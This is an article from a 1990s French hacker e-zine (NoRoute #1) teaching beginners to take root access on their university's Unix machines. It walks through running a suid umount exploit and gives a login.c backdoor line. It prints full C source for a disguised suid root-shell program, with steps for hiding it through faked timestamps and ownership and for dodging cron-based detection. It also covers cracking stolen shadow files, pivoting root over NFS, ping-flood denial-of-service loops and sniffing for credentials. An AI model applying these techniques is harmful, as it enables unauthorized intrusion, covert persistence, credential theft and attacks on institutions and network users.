-------------------------------------------------------------------------------
NoRoute #1  Fak Hak                           4756    s0RC3Ry    NoRoute #1
-------------------------------------------------------------------------------


                (            -:$[ FAK HAK ]$:-              )
                +> Ou comment hacker sa fac en xxxx lecons <+
                (       Mais pas beaucoup en tout cas       ) 


Cet article s'adresse aux debutants sous unix qui ont pas envie de se prendre
la tete a maitriser et qui ont besoin d'avoir acces au compte de leurs profs
par exemple (mais pour quoi faire au juste ?)...

Materiel necessaire.... NoRoute #1..
                        Un account sur une becanne unix de la fac.. 
                        Une legere connaissance de unix..
                        Une conscience..

Sous unix le seul account interessant est l'acces root. Nous sommes bien 
d'accord, root est le compte qui vous permet de tout faire sur un systeme.
Son user_id est 0 est son group_id est le meme.. 

Commencez tout d'abord par reconnaitre le systeme utilise par la machine, 
chaque systeme a ses holes et ses problemes... Pour cela, faites appel a
"uname -a" qui vous donnera une reponse franche :

SunOS 4.1.4 par exemple.. Vous avez desormais acces a un systeme bourre de
bugs potentiellement exploitables... La grande mode en matiere de hack, et
la grande technique utilisee par tous de nos jours car elle est simple et
efficace et ne demande pas une grande connaissance du systeme est l'exploit.
L'exploit est un petit programme ou une serie de commande trouvee par un
ingenieux bonhomme qui permet souvent de chopper l'acces root sur un systeme.
Obtenir des exploits n'est pas tres complique... Un petit ftpsearch sur 
exploit vous donnera au moins un ftp bourre d'exploits pour differents systemes
que vous n'aurez plus qu'a utiliser pour chopper le root..
Un exploit celebre est celui de la commande umount sous BSD. Si cette commande
possede le bit suid c'est a dire si "ls -l /bin/umount" vous donne un truk 
comme:

-rwsr-xr-x (presence du 's' vous l'avez vu ?)

et que la version de umount est assez ancienne, alors vous pouvez chopper un
root sur le systeme. Vous choppez l'exploit sur votre chti ftp, que nous
appelerons ici mount.c

Vous le compilez donc:

host:~> cc mount.c -o exploit
host:~> exploit
Discovered and Coded by Bloodmask and Vio, Covin 1996
bash# whoami
root
bash#

Et vous etes root. La simplicite de la chose explique pourquoi de nos jours
il y a tellement de jeunes abrutis qui annoncent fierement leurs root dans
#hack... =) Cet exploit utilise en fait une architecture de code propre aux
mauvais programmes  qui permet de modifier l'adresse de retour d'un call.
En effet, le programme umount devient root pendant son execution grace
au bit suid. En l'executant et en forcant le retour d'un call vers une routine
qui execute un shell, on obtient ainsi un shell root...(voir exploits... =)
C'est un exemple parmi tant d'autres.. Disons franchement qu'en cherchant bien
sur le net et en essayant betement tous les exploits propres a un systeme, meme
si vous etes une grosse brelle en matiere d'unix, vous arriverez a chopper le
root dans votre fac huh... Bien entendu les administrateurs systemes des facs
sont au courant de ces exploits et fixent en permanence leur systeme contre
ceux-ci (du moins dans ma fac, ou j'ai eu un mal fou a chopper le root arf)..
Une fois que vous etes root, vous ne pouvez bien entendu pas vous permettre d'
utiliser l'exploit en question a chaque fois que vous desirez passer root
sur le syteme, pour la simple raison que ce hole ne restera pas longtemps en
place...
Il vous faut donc planquer quelquepart un chti programme qui vous donnera
l'acces root tout le temps mais qui ne sera pas decouvert par le root lui-meme..
Le mieux est d'avoir acces aux sources d'un programme suid peu souvent change
par la fac que vous pourrez modifier pour vous donner un shell lorsqu'il est
appele avec certains arguments... Par exemple, integrer a login.c un test

if (!strcmp(username,"sorcery")) return (0);

qui vous permettra de vous logger en root depuis n'importe ou... Sans laisser
de traces sur le syteme. L'exemple ci-dessus ne tient absolument pas compte
du code original de login.c le but est seulement de vous faire piger le 
principe... =)

Un autre moyen, utilisable dans les systemes peu surveilles, mais assez
discret quand meme, est de vous creer votre programme a vous, suid, qui vous
donnera le root... Bien entendu il faut securiser ce programme en le deguisant
en programme normal. Donnez lui un nom qui fasse "vrai" et qui justifie le
bit suid par exemple "xfixconsole" qui d'apres son nom necessite un acces a 
la console et donc un root..
Placez le dans un repertoire peu frequente tel que /usr/X11R5/bin/ par exemple.
Voici un exemple de code:

----8<-----8<-------8<--------8<-------cut here-------8<------8<-------

/* Xfixconsole by Sorcery
   Sacre joli nom huh... 
   Ne donne le shell que si il est appele ansi:
   host:~> xfixconsole fixing                 */ 

void main(int argc, char *argv[]) {
 
	if ( (argv[1]) && (!strcmp(argv[0],"xfixconsole"))\
             && (!strcmp(argv[1],"fixing")) ) {
   
	     setuid(0);
	     setgid(0);
	     system("/bin/bash"); 
     
	 } else {

	     printf("\nFixed 0xA000\n");  
  
	 }

 }   
     
----8<-----8<--------8<--------8<----------cut here---------8<--------
          
Ensuite, compilez le programme et placez le dans le repertoire voulu...

bash# cc xfixconsole.c -o xfixconsole

Avant de le deplacer, nous allons noter la date de derniere modif du rep  
/usr/X11R5/bin... ("ls -l /usr/X11R5"). Disons que nous trouvons Jan 1 1994.
 
bash# mv xfixconsole /usr/X11R5/bin/
             
Il faut maintenant lui donner les permissions voulues (+s) pour qu'il puisse
changer son uid et son gid a 0...

bash# chmod +s /usr/X11R5/bin/xfixconsole
bash# ls -al !$
ls -al /usr/X11R5/bin/xfixconsole
-rwsr-xr-x   1 root     wheel         38613 Jan  1  1997 .../bin/xfixconsole*
bash# 
     
voila qui est mieux. Maintenant il faut cacher ce fichier: il y a trois choses
a modifier pour que le fichier passe discretement:

-la date du fichier
-son proprietaire
-la date du '.' (eh oui, la date du rep a change aussi)

Pour cela, nous mettons le fichier a la meme date que les fichiers qui lui
sont proches: (cela passe bien lorsqu'une serie de cinq fichiers sont cotes
a cotes et ont la meme date...)

bash# ls -l /usr/X11R5/bin/xf* 
-r-xr-xr-x   1 root     bin        385636 Jul 28  1995 /usr/X11R5/bin/xfig*
-rwxr-xr-x   1 root     bin        148600 Jun 24  1995 /usr/X11R5/bin/xfile..
                                                                    ..manager*
-rwsr-xr-x   1 root     wheel       38613 Jan  1  1997 /usr/X11R5/bin/xfix..
                                                                    ..console*
-rwxr-xr-x   1 root     bin        117344 Jun 18  1995 /usr/X11R5/bin/xfm*
-rwxr-xr-x   1 root     bin           770 Jun 18  1995 /usr/X11R5/bin/xfm.ins..
                                                                    ..tall*
-rwxr-xr-x   1 root     bin         14184 Jun 18  1995 /usr/X11R5/bin/xfmtype*
bash# 
bash# touch -t 180614591995 /usr/X11R5/bin/xfixconsole                        
bash# touch -t 010114591994 /usr/X11R5/bin
bash# chgrp bin /usr/X11R5/bin/xfixconsole
bash# ls -l /usr/X11R5/bin/xfixconsole
-rws--x--x   1 root     bin         38613 Jun 18  1995 /usr/X11R5/bin/xfix..
                                                                    ..console*

Vous avez desormais un chti root sympa sur le systeme, qui vous permettra de
bien vous marrer. 
A verifier cependant avant d'installer un tel prog: les crontabs. Dans    
/usr/spool/cron/crontabs/root, vous trouverez une liste d'instructions 
executees automatiquement par le systeme pour le root. Verifiez bien qu'aucun
script n'est lance qui detecterait par exemple les nouveaux suid installes
sur le systeme (utilisant generalement la commande find) ou autre chose 
qui vous grillerait...
Choppez maintenant le fichier shadow, ou son equivalent selon les systemes..
(passwd.orig, passwd.secure, /auth/*/*...).. et crackez vous deux ou trois
accounts a l'aide d'un cracker trouve sur le net (guess, par exemple, ou
crack etc..). Cela vous permettra de ne plus vous logger avec votre compte
pour bidouiller le systeme, ce qui peut etre assez pratique parfois...
Passons maintenant a une aventure qui m'est arrivee dans ma fac et qui
pourrait bien vous arriver si votre fac utilise plusieurs parcs de systemes
differents...
J'avais le root sur le parc HPUX, et besoin du root sur les SunOS de ma 
fac. Mon home etait le meme sur les deux, car le meme disk etait partage
par NFS entre les becannes. Le disque etait en local sur HPUX et en NFS
sur les SUNS. Le but etait donc d'exploiter le root de HPUX pour ne pas
avoir a essayer des dizaines d'exploits sur la sun dont le sunos etait
plutot bien protege... Voici donc la methode utilisee:

sun:~> indique que les commandes sont tapees sur la sun.      
hp:~> indique que ma mere m'appelle pour diner ahum.            
               
sun:~> cc xfixconsole.c -o root
         
j'avais donc dans mon home, le fichier xfixconsole.c compile pour sunos, bien
entendu non executable sur la hp...

hp:~> cd /usr/X11R5/bin

Car '/usr/X11R5/bin/xfixconsole fixing' ne marchera pas.. =)

hp:/usr/X11R5/bin/> xfixconsole fixing
bash_hp# cd
bash_hp# chown root.wheel ./root
bash_hp# chmod 755 ./root
bash_hp# ls -al ./root
-rwsr-sr-x (.../...) root
bash_hp#

sun:~> ./root
bash_sun# whoami
root
bash_sun#

En utilisant mon home comme passerelle, j'ai donc reussi a executer sur la
sun un suid via nfs... Il faut savoir que cela ne marchera que si:

1) Le root obtenu est sur la machine ou le home est local: via nfs, le root
   n'a pas le droit de modifier des fichiers qui ne lui appartiennent pas, 
   et en particulier les rendre suid arf.. (sauf en "insecure"...)
2) Le filesystem est mounte via NFS sans le flag "nosuid" : pour verifier,
   faites un df ., qui vous donnera les flags separes par des virgules en
   plus de la place disk... (rw,nosuid...)

La meme manip est donc utilisee sur la sun... Pour utiliser touch sous sunos,
il faut passer par /usr/5bin qui contient les binaires repondant aux normes
SVR4 (system 5 release 4), car le /usr/bin de sunos contient un touch qui ne
permet pas de specifier une nouvelle date...

A la fin donc, si j'ai bien tout calcule, on se retrouve avec un controle 
total de la fac qui peut etre assez plaisant =)...

[MAiS QUE FAiRE AVEC CE r00t ?]

Bonne question...
Plusieurs activites sont marrantes a faire avec un root. Il y a tout d'abord
le flood, qui, si vous avez le root sur un reseau a grande bande passante,
vous permet de faire couler pas mal de connections 14.4 sur le net...
Pour cela, plusieurs utilitaires existent sous linux par exemple, a peu pres
tous bases sur le syn flood qui a tendance a plus trop marcher. Le ping est
encore assez efficace: ping -f host en particulier si vous avez la bonne
version de ping....est assez mechant quand il est utilise avec des '&' par 
exemple  while (1)
	while> ping -f host &
	while> end
est assez marrant.... pour arreter le massacre, killer le while puis faire un 
killall ping... ICMP rulez! =)
On peut egalement sniffer avec un root...si le systeme est un noeud important
pour d'autres becannes, ou si il est beaucoup frequente, il est possible de
chopper, en ecoutant les connections reseaux, plusieurs acces un peu partout
et pourquoi pas d'autres rewts.. =)
Enfin, le but du rewt est surtout de l'avoir, ensuite imaginez vous tout      
simplement aux commandes d'un systeme en 64Mbits sur le net et vos idees 
viendront vite... =) 
      
                                                               -SorcerY
                                                                  Grmbl.. 
                          
Placons ici quelques greetings =)
Le truk chiant dont personne a rien a foutre sauf 
Octagon